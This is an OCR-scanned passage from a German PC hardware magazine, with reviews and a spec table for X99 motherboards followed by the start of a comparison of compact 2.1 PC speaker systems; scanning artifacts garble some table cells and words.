sodass tuningfreudige Anwender 
aus den weniger teuren Prozes- 
soren viel Leistung herausholen 
können. Intels Modellpolitik be- 
rücksichtigt dies und differenziert 
weniger nach Takt und mehr nach 
Ausstattung - wer zehn statt sechs 
Kerne haben möchte, muss unge- 
achtet seiner Übertakterfähigkei- 
ten High-End-Preise zahlen. 


Zwei CPU-Ausbaustufen 
Dominiert wird die Anschlussviel- 
falt der 2011-v3-Mainboards von 
den  CPU-eigenen PCI-Express- 
Lanes. Diese gibt es aber in zwei Va- 
rianten: Das kleinste Modell Core 
i7-6800K (und der Haswell-E-Vor- 
gänger i7-5820K) verfügen „nur“ 
über 28 der flotten Datenleitungen, 
alle größeren Modelle über deren 
40. Die 12 brachliegenden Kontakt- 
abschnitte bei Nutzung der güns- 
tigeren Prozessoren führen 1:1 zu 
eingeschränkter Funktionalität der 
Mainboard-Ausstattung - bitte be- 
achten Sie die jeweiligen Angaben 
in der Mainboard-Testtabelle. Dank 
direkter CPU-Anbindung kommen 
die PCI-Express-3.0-Leitungen alle 
für Grafikkarten infrage. 


Uh, 
WW y 


m 


Enthusiasten müssen über Wasserkühlung nachdenken: Auf einigen Sockel-2011-v3- 
Mainboards (hier: EVGA X99 FTW K) wird es sogar für 120-mm-CPU-Kühler eng. 
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Bei 28-Lane-CPUs ergibt sich aber 
kein Vorteil gegenüber Sockel- 
1151-Systemen; zwei GPUs wer- 
den symmetrisch mit x8/x8 ange- 
bunden. Die dritte Achtergruppe 
einer 28-Lane-CPU ist aufserdem 
bei allen Mainboards fest an die 
vordere Hälfte eines Grafikkarten- 
slots gebunden und kann nicht auf 
multiple 3.0-x4-Endgeräte aufge- 
teilt werden. Zusammen mit den 
verbleibenden vier Lanes #24 bis 
#27 sind, entsprechende Adapter 
vorausgesetzt, also nur zwei M.2- 
SSDs oder andere schnelle Peri- 
pherie möglich. Im Gegensatz zu 
den PCH-basierten Lösungen von 
Sockel-1151-Systemen können die- 
se zwar gleichzeitig mit voller Ge- 
schwindigkeit arbeiten, dennoch 
ist die Mainstream-Z270-Plattform 
mit typischerweise drei 3.0-x4-An- 
schlüssen besser ausgestattet. 
Dafür bieten 28-Lane-CPU-Sockel- 
2011-v3-Systeme zwei zusätzliche 
CPU-Kerne und ein flotteres Spei- 
cherinterface bei oft sehr geringen 
Mehrkosten. In Kombination mit 
einem teureren 40-Lane-Prozessor 
(17-6850К und aufwärts) blü- 
hen dagegen alle Sockel-2011-v3- 
ATX-Mainboards auf: Zwei echte 
x16-Slots finden SLI- und Crossfire- 
Enthusiasten bei keiner anderen 
Plattform. Einige Designs aus der 
mit den aktuellen Broadwell-E- 
CPUs (i7-68XX/-69XX) im Sommer 
2016 vorgestellten zweiten Main- 
board-Generation können zusätz- 
lich zwei M.2-/U-2-SSDs anbinden. 


Aus der Vergangenheit 

Die besagte zweite Generation 
wird aber auch die letzte bleiben. 
Voraussichtlich im Spätsommer 
dieses Jahres wird Intel den So- 
ckel-2011-v3 durch die neue LGA- 
2066-Plattform ersetzen. Schnelle- 
re CPUs als die verfügbaren werden 
bis dahin nicht erwartet. 


Asrock X99 Taichi: Geniales Layout, 
akzeptabler Preis. Das riesige Quad- 
Channel-Speicherinterface zwingt 
viele X99-Mainboards dazu, den 
CPU-Sockel ein Stück nach unten 
zu verschieben und nur sechs ATX- 
Slotöffnungen für Erweiterungs- 
karten zu nutzen. Einige Layouts 
haben selbst dann noch Platzpro- 
bleme mit grofsen CPU-Kühlern. 


Nicht so das X99 Taichi: Asrock ist 
es gelungen, den gesamten CPU- 
Bereich so kompakt zu bauen, 
dass Erweiterungskarten darunter 
ebenso viel Platz vorfinden wie 
auf typischen Sockel-1151-Platinen. 
Zwei Triple-Slot-Grafikkarten und 
eine Soundkarte? Kein Problem für 
Asrock! Zusätzlich lassen sich - bei 
Einsatz einer 40-Lane-CPU - zwei 
M.2-SSDs verbauen und auch die 
restliche Ausstattung braucht sich 
nicht zu verstecken. Von der On- 
board-Diagnose-Anzeige über Dual- 
LAN bis hin zu USB 3.1 und WLAN 
ist alles an Bord, was man sich wün- 
schen kann. Dafür sind 270 Euro 
ein fairer Preis. 


MSI X99A Ranger: Preisbrecher mit 
angemessener Ausstattung. Genau 
in die Preis- und Ausstattungslücke 
zwischen Sockel 1151 und 2011-v3 
zielt MSIs X99A Ranger. Bei einem 
Preis von um die 200 Euro ist es 
günstiger als viele Z270-Modelle 
und bringt alle Vorzüge einer 
28-Lane-CPU zur Geltung (40-Lane- 
Käufer verschenken aber auch nur 
vier Lanes). So können neben ei- 
ner x16-DualSlot-Grafikkarte noch 
zwei einfache x1-Erweiterungskar- 
ten (PCI-Express-2.0), eine schnelle 
x4- oder x8-Komponente und eine 
M.2-SSD mit voller Geschwindig- 
keit angebunden werden. Auch 
USB 3.1 ist trotz der länger zurück- 
liegenden Markteinführung mit an 
Bord und grofse CPU-Kühler haben 
sogar noch ein paar Millimeter 
mehr Luft als bei Asrock. Ambi- 
tionierte Übertakter freuen sich 
zusätzlich über eine der besten 
Sockel-2011-v3-Spannungswand- 
lerkühlungen, die wir bislang ver- 
messen haben, und finden sogar 
Messkontakte zur manuellen Span- 
nungskontrolle auf der Platine, 
wie man sie sonst eher oberhalb 
der 400-Euro-Preisschwelle sieht. 
Multi-GPU-Nutzer müssen bei MSI 
dagegen entweder auf Triple-Slot- 
GPU-Kühler oder auf x1-Erweite- 
rungskarten verzichten. Im letzte- 
ren Fall sollte allerdings über eine 
USB-Audiolósung nachgedacht 
werden, denn der Onboard-Sound 
des X99A Ranger ist eher auf Ein- 
steigerniveau - dafür erlaubt der 
Preis die zusätzliche Anschaffung 
einer vollwertigen Soundkarte. (tu) 
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**Ab Sockel-Mitte; 


****Ganzes System mit i7-6700K und MSI GTX 980 an Seasonic-80-Plus-Gold-Netzteil 


SOCKEL-2011-V3- 
MAINBOARDS 


Auszug aus der 
Testtabelle mit 
160 Wertungskriterien. 


Hersteller (Website) 


Asrock (www.asrock.de) 


Asus (www.asus.de) 


X99-Ultra Gaming 
Gigabyte (www.gigabyte.de) 


X99A Raider 


MSI (www.msi.com) 


Asus (www.asus.de) 


Preis/Preis-Leistungs-Verháltnis 


Ca. € 270,-/gut 


Ca. € 300,-/gut 


Ca. € 280,-/gut 


Ca. € 210,-/gut 


Ca. € 240,-/gut 


Link zum PCGH-Preisvergleich 


www.pcgh.de/preis/1462624 


www.pcgh.de/preis/1441449 


www.pcgh.de/preis/1446348 


www.pcgh.de/preis/1247988 


www.pcgh.de/preis/1441447 


Chip; UEFI-; Board-Revision 


Intel X99; 1.10; 1.01 


Intel X99; 0801; 1.00 


Intel X99; F4; 1.0 


Intel X99; P5; 5.2 


Intel X99; 0801; 1.01 


Gehäuse Format: Höhe x Breite 


ATX; 305 x 244 mm 


ATX; 305 x 244 mm 


ATX; 305 x 244 mm 


ATX; 305 x 244 mm 


ATX; 305 x 244 mm 


Ausstattung (20 %) 1,76 1,84 2,10 2,70 2,23 
Speicherslots 8x DDR4 8x DDR4 8x DDR4 8x DDR4 8x DDR4 
PCI-E-Standard* 2.0/3.0/-/2.0/3.0/-/3.0 —/3.0/2.0/2.0/3.0/2.0/3.0 3.0/-/2.0/3.0/-/3.0/3.0 -/3.0/-/2.0/3.0/2.0/3.0 -/3.0/-/2.0/3.0/2.0/3.0 


PCI-E-CPU-Lane-Verteilungsoptionen* 


-/x16/-/-1x 16/-/x0 (-/x16/-/- 
[x0/-/x8) oder ^/x8/-/-/x16/-/x8 
(-Ix81-1-1x8-1x8) 


-/x16/-/-/x 16/-/x0 (-/x16/-/- 
1х8/—/х0) oder -/x8/-/-/x16/-/x8 
Ix8l-I-Ix8/-1x8) 


x16/-/-/x16/-/x0/x0 oder x8/-/- 
Ix8/-1x8/x8 


-/x16/-/-1x 16/-/x0 (-/x16/-/- 
Ix8/-1x0) oder -/x8/-/-/x 16/-/x8 
(-Ix81-1-1x8/-1x8) 


1x 16/-/-1x 16/-1x8 (-/x 16/-/- 
Ix8/-1x4) 


PCI-E-PCH-Lane-Verteilungsoptionen* 


x1-I-xTM-l-1- 


"—/-/x0/x1/-/x1/— (nichts 
deaktiviert) oder —/—/х1/х1/—/х1/— 
(deaktiviert: WLAN/Bluetooth) oder 
-/-/x 11x4/-1x0/- (deaktiviert: 
WLAN/Bluetooth, USB 3.1) " 


AR E 


EE EA 


-I--xM-Ix1- 


SATA 


10x 6 GBit/s (X99), 2 als 1x 
SATA-Express (PCI-Express 2.0 x2) 
nutzbar 


10x 6 GBit/s (X99), 2 als 1x 
SATA-Express (PCI-Express 2.0 x2) 
nutzbar 


10x 6 GBit/s (X99), 2 als 1x SATA-Ex- 
press (PCI-Express 2.0 x2) nutzbar 


10x 6 GBit/s (X99), 2 als 1x SATA-Ex- 
press (PCI-Express 2.0 x2) nutzbar 


10x 6 GBit/s (X99), 2 als 1x SATA-Ex- 
press (PCI-Express 2.0 x2) nutzbar 


M.2, Anbindung, Format 


1x M.2 m-Key, PCI-E-3.0-x4, 
2230/2242/2260/2280/22110; 
1x M.2 m-Key, PCI-E-3.0-x4 
(nur mit 40-Lane-CPU verfügbar), 
2230/2242/2260/2280 


1x M.2 m-Key, PCI-E-3.0-x4, 
2242/2260/2280/22110; 1x U.2, 
PCI-E-3.0-x4 (deaktiviert M.2) 


1x M.2 m-Key, PCI-E-3.0-x4, 
2242/2260/2280/22110; 1x M.2 
e-Key, PCI-E-2.0-x1, 2230; 1x 0.2, 
PCI-E-3.0-x4 (nur mit 40-Lane-CPU 
verfügbar) 


1x M.2 m-Key, PCI-E-3.0-x4, 
2242/2260/2280 


1x M.2 m-Key, PCI-E-3.0-x4 
(deaktiviert Slot 7), 
2242/2260/2280/22110; 


Onboard-LAN 


2x Gigabit (Intel 1218-V + Intel 
1211-AT) 


1x Gigabit (Intel 1218-V) 


2x Gigabit (Intel 1218-V + Killer E2400) 


1x Gigabit (Intel 1218-V) 


1x Gigabit (Intel 1218-V) 


Monitor-Anschlüsse 


802.11 ac; Bluetooth 4.0 


802.11 ac; Bluetooth 4.1 


USB extern/intern 


2x/0x USB 3.1 (davon x1/x0 
Тур-С); 3x/2x USB 3.0; 3x/4x 
USB 2.0 


2x/0x USB 3.1 (davon x1/x0 
Typ-C); 4x/4x USB 3.0; 4х/4х 
USB 2.0 


2x/0x USB 3.1 (davon x1/x0 
Тур-С); 6x/4x USB 3.0; 0х/4х 
USB 2.0 


2x/0x USB 3.1; 4x/2x USB 3.0; 
4x/2x USB 2.0 


1x/0x USB 3.1 (davon x1/x0 
Тур-С); 4x/Ax USB 3.0; 4x/4x 
USB 2.0 


Legacy-Schnittstellen extern/intern 


PS/2-Maus-und-Tastatur-Combo-Port 


PS/2-Maus-oder-Tastatur-Flex-Port; 
COM-Header 


PS/2-Maus-und-Tastatur-Combo-Port 


PS/2-Maus-oder-Tastatur-Flex-Port 


PS/2-Maus-oder-Tastatur-Flex-Port; 
COM-Header 


Testsystem: Core i7-6700K, Palit GTX980 Ti Superjetstream 110% powertarget, 91°C temptarget; 2x 8 GiB Crucial DDR4-2133 oder 2x 8 GiB GEIL DDR3-2133, EKL Alpenföhn Brocken Eco bei 900 U/min *ATX-Slot-Positionen 1/2/3/4/5/6/7, beginnend mit erster Öffnung neben l/O-Panel 


***Prime95 v25.6 + Witcher 2 Enhanced Edition maximierte Details, kein Ubersampling, Messung auf Platinenrückseite, normiert auf 20 °C Umgebungstemperatur 


nur Spannungswandlerkühlerteile >2,5 cm 


Sound-Chip Realtek ALC1150 Realtek ALC1150 Realtek ALC1150 Realtek ALC892 Realtek ALC1150 
Kopfhörer-Verstärker/DTS oder DDL/ — |Ja/ja/nein Ја/ја/пеіп Ja/nein/nein Nein/nein/nein Nein/ja/nein 
wechselbarer OP-AMP 
Audio-Aus-/Eingánge 7.1, optisch/1x Stereo 7.1, optisch/1x Stereo 7.1, optisch/1x Stereo 7.1, optisch/1x Stereo 7.1, optisch/1x Stereo 
Lüfteranschlüsse 3x 4-Pin PWM; 2x 3-Pin/4-Pin 6x 4-Pin PWM 3x 4-Pin PWM; 2x 3-Pin/4-Pin 2x 4-Pin PWM; 3x 3-Pin/4-Pin 5x 4-Pin PWM 
ohne PWM ohne PWM ohne PWM 
Sonstige Ausstattung Statusanzeige; gesockeltes Dual- Statusanzeige; gesockeltes UEFI; Po- |Dual-UEFI; Clear-CMOS-Schalter; Dual-UEFI; Clear-CMOS-Schalter am | Gesockeltes UEFI; TB-Header; Clear- 
UEFI; Clear-CMOS-Schalter am wer- und Reset-Schalter; Clear-CMOS- | TB-Header; regelbare RGB-Beleuch- |1/0-Рапе!; Spannungsmesspunkte CMOS-Header; RGB-beleuchtete 
l/O-Panel Schalter am I/O-Panel; TB-Header; 1x | tung; 4-Pin-Header für RGB-LED- PEG-Verriegelungen; Status-LEDs; 1x 
Anschluss für Temperatursensor; regel- | Streifen Anschluss für Temperatursensor 
bare RGB-Beleuchtung; 4-Pin-Header 
für RGB-LED-Streifen 
Beiliegend 4x SATA-Kabel; HB-SLI-Brücke; 4x SATA-Kabel; SLI-Brücke; 6x SATA-Kabel; SLI-Brücken; 6x SATA-Kabel, SLI-Brücke; Handbuch |4x SATA-Kabel; SLI-Brücke; Handbuch 
SLI-Brücken; Handbuch Deutsch RGB-LED-Verlängerungskabel; Hand- |RGB-LED-Verlängerungskabel; Hand- | Deutsch Englisch 
buch Englisch buch Englisch 
Eigenschaften (20 %) 1,67 1,69 1,73 1,73 1,69 
Abstand** CPU <> 1./2. RAM-Slot 56/65 Millimeter 58/67 Millimeter 58/67 Millimeter 59/68 Millimeter 58/67 Millimeter 
Abstand** CPU <> 1./2. Spannungs- |55/- Millimeter 62/- Millimeter 54/- Millimeter 63/- Millimeter 58/- Millimeter 
wandlerkühler 
Abstand** CPU <> 1. PCI-E-x16 96 Millimeter 81 Millimeter 77 Millimeter 83 Millimeter 82 Millimeter 
Abstand PEG 1 <> 2 2 Slots 2 Slots 2 Slots 2 Slots 2 Slots 
CPU-/Ring-Multiplikator/BCLK Anheb- und absenkbar/einstellbar/ |Anheb- und absenkbar/einstellbar/ |Anheb- und absenkbar/einstellbar/ |Anheb- und absenkbar/einstellbar/ — | Anheb- und absenkbar/einstellbar/ 
manuell einstellbar manuell einstellbar manuell einstellbar automatische Anpassung manuell einstellbar 


CPU-Spannung 


0,8 bis 2,0 Volt 


0,0 bis 1,9 Volt 


0,6 bis 1,7 Volt 


0,8 bis 2,0 Volt 


0,0 bis 1,9 Volt 


Vcore adaptiv/Offset nach oben/nach 
unten/Vdroop-Gegenmaßnahme 


Ja/ja/ja/ja, konfigurierbar 


Jalja/ja/ja, konfigurierbar 


Jalja/ja/ja, konfigurierbar 


Ja/ja/ja/ja, konfigurierbar 


Ja/ja/ja/ja, konfigurierbar 


VCCIO/IMC-/PCH-Spannung 


Einstellbar/einstellbar/einstellbar 


Einstellbar/einstellbar/einstellbar 


Einstellbar/einstellbar/einstellbar 


Einstellbar/einstellbar/einstellbar 


Einstellbar/einstellbar/einstellbar 


Maximal wählbarer Speichertakt 


DDR4-4000 


DDR4-4000 


DDR4-6000 


DDR4-3200 


DDR4-4000 


Maximale Speicherspannung 


2,24 Volt 


1,90 Volt 


2,00 Volt 


2,00 Volt 


1,90 Volt 
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Lüftersteuerung Kurve konfigurierbar; CPU + weitere | Kurve konfigurierbar; CPU + weitere | Kurve konfigurierbar; CPU + weitere | Kurve konfigurierbar; CPU + weitere |Kurve konfigurierbar; CPU + weitere 
Lüfter Lüfter Lüfter Lüfter Lüfter 
Stabilitäts- & Praxis-Probleme Keine Keine Keine Keine Keine 
Leistung (60 %) 1,86 1,90 1,87 1,77 1,94 
Realer Referenztakt (CPU-Z) 99,94 MHz 99,94 MHz 99,98 MHz 99,98 MHz 99,94 MHz 
Witcher 2 EE 1080p, kein AA/AF 122,3 Fps 124,1 Fps 123,6 Fps 123,7 Fps 124,2 Fps 
Lightroom 5.6, Export 30 RAWs 125,3 Sekunden 124,4 Sekunden 124,6 Sekunden 123,8 Sekunden 123,4 Sekunden 
AIDA Memory Bench - Kopierrate 54.983 MB/s 56.682 MB/s 55.993 MB/s 56.201 MB/s 54.674 MB/s 
Boot-Zeit Windows-8.1-Desktop 43,0 Sekunden 65,7 Sekunden 49,1 Sekunden 49,7 Sekunden 67,6 Sekunden 
Temp. Spannungswandler/PCH* * * 57/41 °С 52/42 °C 51/41 *C 50/43 *C 56/43 °C 
Stromver.**** Soft-off/Leerl./Last*** |0,8/51,7/341 Watt 2,0/55,0/343 Watt 3,7/62,0/343 Watt 1,6/59,3/338 Watt 1,3/55,1/342 Watt 
+ tz P © + tz 0 © g g OR g g 
+ © Tempe d + g © Sp g p ОВ g 
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Schreibtisch- 
Auditorium — 


н m RR i a! ls 


Sie suchen ein kom- 
paktes Audiosystem 
für den heimischen 
Desktop-PC? PCGH 
macht die Hörprobe 
und testet fünf schreib- 
tischkompatible, kom- 
pakte und spezifisch 


für den PC ausgelegte 


2.1-Lautsprecher. 
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s gibt eine ganze Reihe an 

Möglichkeiten, um dem PC ab- 
seits von Headset und Kopfhörern 
überzeugenden Stereoklang zu ent- 
locken. Doch für den Desktop aus- 
gelegte PC-Hardware ist relativ rar, 
insbesondere Neuerscheinungen 
sind eher selten. In dieser Markt- 
übersicht schauen wir uns die be- 
liebte 2.1-Lösung an: Also zwei klei- 
ne Stereo-Satelliten plus Subwoofer. 
Wir legen unser Augenmerk hier 
auf für den PC spezifisch ausgeleg- 
te Systeme, in einem folgenden Teil 
werden wir auch über den Teller- 
rand blicken und eher unbekannte 
Hersteller sowie sogenannte Stu- 
dio-Lautsprecher näher betrachten. 


Günstige Klangwürfel 
it guten Manieren. Das Logitech 
Z333 ist mit unter 50 Euro in un- 


serem Preisvergleich gelistet und 
damit mit einigem Abstand das 
günstigste System im Test. Dies 
merkt man dem 7333 aber nur be- 
dingt an, das System ist sauber ver- 
arbeitet und macht sich optisch gut 
auf dem Gamer-Schreibtisch. Die 
Zwei-Wege-Satelliten fallen im Ver- 
gleich zum Subwoofer, aber auch 
gegenüber denen des Kratos S3 und 
C2DX ziemlich groß aus, sind mit 
19,2 x 10,8 x 15,7 cm (H x B x Т) je- 
doch gut zu platzieren. Sie werden 
von einem 3-Zoll-Mittel- und einem 
kleinen Hochtöner befeuert und 
liefern insgesamt 8 Watt RMS. Der 
5,25-Zoll-Tieftöner im mit 23 x 23,2 
x 15,7 cm sehr kompakten Subwoo- 
fer mit Bassreflex-System steuert 
24 Watt zu den insgesamt 40 Watt 
Dauerleistung bei. Bei der Angabe 
von 80 Watt auf der Verpackung des 


Systems handelt es sich um die we- 
nig aussagekräftige Spitzenleistung 
- wir wollen an dieser Stelle keine 
Bauernfängerei unterstellen, aber 
die Angabe der P.M.P.O (Peak Mu- 
sic Power Output, scherzhaft auch 
gern als Pure Mystic Power Output 
gegeißelt) ist nicht hilfreich. Das 
Z333 verfügt über eine kleine ka- 
belgebundene Tischfernbedienung 
für die Laustärkereglung, außerdem 
befindet sich an dieser eine Kopf- 
hörer- jedoch keine Mikrofonbuch- 
se. An der Seite des Subwoofers ist 
zudem ein Bassregler angebracht. 
Ansonsten gibt sich das Z333 
spartanisch, einzig die benötigten 
Kabel liegen bei, über zusätzliche 
Anschlüsse verfügt das günstige 
Logitech-System indes auch nicht. 
Der Sound ist für diesen wirklich 
sehr niedrigen Preis überraschend: 


www.pcgameshardware.de 


Wir haben mit einem kräftigen, 
schwammigen Bass und einer eher 
blechernen, dünnen Satelliten-Per- 
formance gerechnet, doch das 7333 
gibt sich ziemlich ausgewogen. Der 
Bass ist eher straff und zurückhal- 
tend und wird erst bei höheren 
Tiefton-Pegeln schwammig. Die 
Satelliten klingen ordentlich und 
liefern einen recht warmen Klang, 
allerdings sind die Mitten nicht voll 
überzeugend und lassen insbeson- 
dere Frauenstimmen unnatürlich 
flach und ausdruckslos wirken. Au- 
ßerdem fehlt es an Auflösung und 
das Ansprechverhalten könnte Kna- 
ckiger sein: Details gehen im Klang- 
bild verloren und insbesondere bei 
schnellen Tonfolgen kommt das 
7353 aus dem Tritt und liefert un- 
differenzierten Brei. Trotzdem: Für 
den Preis ist das Logitech-System 
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eine ordentliche Empfehlung für 
Einsteiger, die nicht bereit sind, viel 
Geld in die Hand zu nehmen, und 
dafür Kompromisse in Kauf neh- 
men können. 


Creative Sound Blaster X Kratos S3: 
Kleiner Muntermacher. Das kompak- 
te, beinahe zierliche 2.1-System mit 
dem kämpferischen Namen (Kratos 
ist der griechische Gott der Macht) 
ist für rund 80 Euro erhältlich. Für 
Preis liefert Creative ein 
hübsches und handliches Stereo- 
System mit Subwoofer ab, dessen 
angegebene RMS-Leistung von 46 


diesen 


Watt durchaus genügend Wumms 
für den Schreibtisch oder ein klei- 
nes Spiele-Zimmer bietet. Die nett 
anzusehenden mattschwarzen, 
ordentlich verarbeiteten Satelliten 


werden von einem 2,75-Zoll-Breit- 
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Das sehr günstige Logitech 2333 wirft groBe Satelliten und einen kleinen Subwoofer 


ins Rennen. Für Einsteiger ist das kleine 2.1-System eine Überlegung wert. 


Der Subwoofer des Creative Kratos S3 ist kompakt und liefert einen knackigen, 
flotten Bass — davon jedoch nur recht wenig. 


Die hübschen Satelliten beherbergen Breitband-Lautsprecher. Diese liefern einen 
sauberen und differenzierten, jedoch auch etwas harschen und kühlen Klang. 
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Das Edifier C2XD ist ein guter Allrounder für knapp unter 100 Euro. Die Verstärkerein- 
heit ist extern und bietet für die Preisklasse reichlich Anschlussmöglichkeiten. 


Das Teufel Mediadeck beinhaltet neben einem satt klingenden 2.1-System außerdem 
eine integrierte Soundkarte, einen USB-Hub und nützliche Anschlüsse. 


Das Creative Katana ist laut Hersteller die erste , echte" PC-Soundbar und bietet eine 
Vielzahl technischer Finessen sowie Anschlussmöglichkeiten von Klinke bis Bluetooth. 
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bänder angetrieben, die jeweils 
11 Watt Leistung zur Gesamtleis- 
tung beisteuern. Die restlichen 24 
Watt steuert der kleine Bassreflex- 
Subwoofer bei, der einen 5,25-Zoll- 
Zellulose-Tieftóner beherbergt 
und nach dem Downfire-Prinzip 
arbeitet. Das Gehäuse ist aus МОЕ 
gefertigt und steht auf vier Füfs- 
chen, zudem ist hier der Verstärker 
des Systems verbaut. Der Basspegel 
lässt sich an der Rückseite des Sub- 
woofers justieren, die eigentliche 
Lautstärkereglung ist praktischer- 
weise am rechten Satelliten unter- 
gebracht, mit dieser kann das Gerät 
aufserdem ein- und ausgeschaltet 
werden. Den Betriebszustand zeigt 
eine kleine LED an, außerdem be- 
findet sich hier ein Kopfhöreraus- 
gang. Der Netzstecker ist direkt 
am Verstárker an der Rückseite des 
Subwoofers angebracht. 


In der Praxis sind die kompakten 
Ausmafse des Kratos $3 angenehm, 
die 16,5 x 9,5 x 10,2 cm messen- 
den Satelliten lassen sich. ohne 
Probleme auf jedem Schreibtisch 
aufstellen und sich auch dank der 
angeschrägten Füße auf die Hörpo- 
sition ausrichten. Der 22,7 x 17 x 
22,7 cm kleine Subwoofer ist eben- 
falls gut zu verstauen, sollte aber 
dennoch möglichst offen stehen, 
der Platz unter dem Schreibtisch ist 
resonanzbedingt eher ungünstig. 
Der kleine Tieftöner gibt sich recht 
zurückhaltend, steigt bei knapp 
über 60 Hz jedoch wahrnehmbar 
in das Klangbild ein. Das Kratos 
ist das einzige System im Testfeld, 
bei dem wir geneigt waren, dem 
Subwoofer mittels Bassregler et- 
was unter die Arme zu greifen. Bei 
moderatem Basspegel ist der Tief- 
ton angenehm straff und flott, erst 
wenn der Bassregler weit aufge- 
dreht wird, verliert der Subwoofer 
seine Contenance. 


Die Satelliten haben einen recht 
ausgewogenen Klang, wenngleich 
es ihnen untenherum (auch tech- 
nisch bedingt) etwas an Ausdrucks- 
kraft mangelt und der Sound selbst 
mit Subwoofer-Unterstützung da- 
her ein wenig dünn wirkt. Dem 
Sound fehlt es etwas an Körper. 
Dafür sind die höheren Frequen- 
zen sehr ausdrucksstark und fein 
aufgelöst, das Kratos S3 klingt im 
Vergleich zu den Logitech- und 
Edifier-Systemen eher kühl, ist bei 
der Detailabbildung jedoch im Vor- 


teil. Außerdem spricht das System 
schnell an und trennt auch bei sehr 
flotten Tonfolgen die einzelnen 
Elemente sauber. Die Edifier- und 
nochmals deutlich verstärkt die 
Logitech-Satelliten neigen dazu, bei 
schnellen Klangfolgen schwammig 
zu werden. 


Die etwas tieftonarme, ansonsten 
jedoch recht ausgewogene Klang- 
charakteristik des Kratos S3 ist da- 
bei prinzipiell für alle Lebenslagen 
und Einsatzgebiete geeignet, Sie 
können das handliche Creative- 
System also zum Musikhören und 
ebenso zum Spielen nutzen - nur 
sollten Sie von solch einem günsti- 
gen System natürlich keine Orches- 
terqualitäten oder gar Bässe mit 
Erdbebenstärke erwarten. Für 80 
Euro ist das Kratos $3 ein attraktives 
und faires Angebot - insbesondere, 
wenn Sie schnelle Musik mit vielen 
Rhythmuswechseln bevorzugen, 
Metal zum Beispiel. Bassfreunde 
sollten sich indes anderswo umse- 
hen und beispielsweise das Edifer 
C2XD ins Auge fassen. Nervig: Bei 
unserem Testmuster war im Stand- 
by ein deutliches Brummen zu ver- 
nehmen, das bei der Inbetriebnah- 
me jedoch verschwand - zu blöd, 
dass das Kratos S3 nicht über einen 
Netzschalter verfügt. 


Edifier C2XD: Gutes Einsteigersys- 
tem mit Digitaleingang. Das eben- 
falls kompakte 2.1-System von 
Edifier kommt mit externem Ver- 
stärker und in der von uns geteste- 
ten C2X-D-Variante außerdem mit 
einem optischen Digitalanschluss, 
was in der Preisklasse um 100 Euro 
nicht selbstverständlich ist. Das Sys- 
tem ohne Toslink-Verbindung ist 
nochmals rund 10 Euro günstiger 
(C2X). Das C2XD ist ein wenig grö- 
ßer als das kleine Creative-System, 
ist jedoch noch immer sehr kom- 
pakt und lässt sich ähnlich leicht 
aufstellen. Die schmalen 2-Wege- 
Satelliten bestehen aus MDF und 
sind nach dem 2-Wege-Prinzip 
aufgebaut: Jeweils ein Mitteltöner 
und ein kleiner Tweeter liefern pro 
Seite 9 Watt RMS. Das ebenfalls aus 
MDF gefertigte Bassreflex-Gehäuse 
des Subwoofers dient als Behau- 
sung des 6,5-Zoll messenden, mit 
35 Watt RMS-Leistung bezifferten 
Tieftöners. Sämtliche Kontrollen 
und Anschlussmöglichkeiten des 
Systems sind direkt am externen 
Verstärker untergebracht, was sehr 
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praktisch ist, denn Sie brauchen 
nicht wie bei anderen 2.1-Syste- 
men alle Kabel zur im Normalfall 
im Subwoofer verbauten Verstär- 
kereinheit zu führen und können 
außerdem sämtliche klangrelevan- 
ten Einstellungen bequem aus der 
Hörposition vornehmen. Außer- 
dem liegt dem C2XD eine kleine 
Fernbedienung bei. Neben dem 
optischen Anschluss sind auf der 
Rückseite des Verstärkers zudem 
ein Cinch- sowie ein zusätzlicher 
Klinken-Eingang verbaut. Ein wei- 
terer Klinkeneingang sowie eine 
Kopfhörerbuchse befinden sich an 
der Seite des Geräts. Der zentrale 
Drehknopf dient 
der Lautstärke sowie Hoch- und 
Tiefton-Pegel. Mittels einer Funkti- 
onstaste kann die jeweilige Einsatz- 
möglichkeit ausgewählt werden, 
eine weitere Taste selektiert die 
Eingangsquelle, eine dritte versetzt 
das Gerät in den Standby - der 
Netzstecker befindet sich auf der 
Rückseite des optisch gefälligen 
Verstärkers. Eine rudimentäre LED- 


zur Regelung 


Anzeige gibt Auskunft über ausge- 
wählte Quellen und Pegel, ein dif- 
fus leuchtender, roter Ring um den 
zentralen Lautstärkeregler macht 
diesen auch in der Dunkelheit un- 
fallfrei auffindbar. 


Der Subwoofer gibt sich optisch 
recht unspektakulär, ein kleiner 
Zierstreifen aus Plastik im Alumini- 
um-Look ist prinzipiell das einzige 
optische Highlight. Doch wie schon 
die Satelliten macht auch die kleine 
Bassbox einen ordentlichen opti- 
schen wie haptischen Eindruck. 
Die Reflex-Öffnung befindet sich 
an der Rückseite, was Sie eventu- 
ell bei der Aufstellung beachten 
sollten. Klanglich ist das Edifier 
C2XD das wohl massentauglichste 
„Klassische“ 2.1-System im Testfeld: 
Das sehr günstige Z333 fällt im Ver- 
gleich bei der Auflösung und De- 
tailabbildung sowie Bassunterma- 
lung zurück, das ähnlich bepreiste 
Kratos S3 klingt wesentlich kühler, 
wenngleich im Gegenzug feiner 
und sauberer - ist aber definitiv 


Bild: Creative 


nichts für Freunde eines kräftigen 
Tieftons. Außerdem ist das Edifier 
bei der Räumlichkeit überlegen. 
Der Tieftöner des C2XD liefert ei- 
nen kräftigen, aber nicht überbor- 
dernden Bass, der allerdings eher 
schwammig und unpräzise ausfällt. 
Die Satelliten spielen angenehm 
frei und luftig auf und können mit 
einem generell recht ausgewoge- 
nen Klangbild überzeugen. Die Hö- 
hen könnten jedoch etwas feiner 
und betonter ausfallen, sie treten 
etwas zu stark in den Hintergrund. 
Die Detailabbildung ist ordentlich, 
wenngleich so manches im etwas 
undifferenzierten Sound untergeht. 
Für den günstigen Preis ist dies aber 
nur begrenzt zu kritisieren und das 
C2XD ist generell ein ansprechen- 
des 2.1-System mit einem attrakti- 
ven Preis-Leistungs-Verhältnis. 


Technophile Gaming-Soundbar. 
Das schicke und edel verarbeite- 


Klang-Puzzle: Creatives Sound 
Blaster X Katana nutzt einen aus- 
geklügelten Aufbau und technische 
Kniffe, um dem schmalen Korpus 
einen vollen Sound zu entlocken. 


Die Einstellungsmöglichkeiten des Sound Blaster X Katana sind recht umfangreich. 
Amüsant: Die verschiedenen Profile sind , personalisiert" und kommentiert. 


te Sound Blaster X Katana ist ein 
2.1-System, aber es ist auch eine 
Soundbar. Creative betitelt das Ka- 
tana als ,das weltweit erste echte 
Under-Monitor-Audiosystem", was 
nicht wirklich unwahr ist, wenn- 
gleich das Teufel Mediadeck MD16 
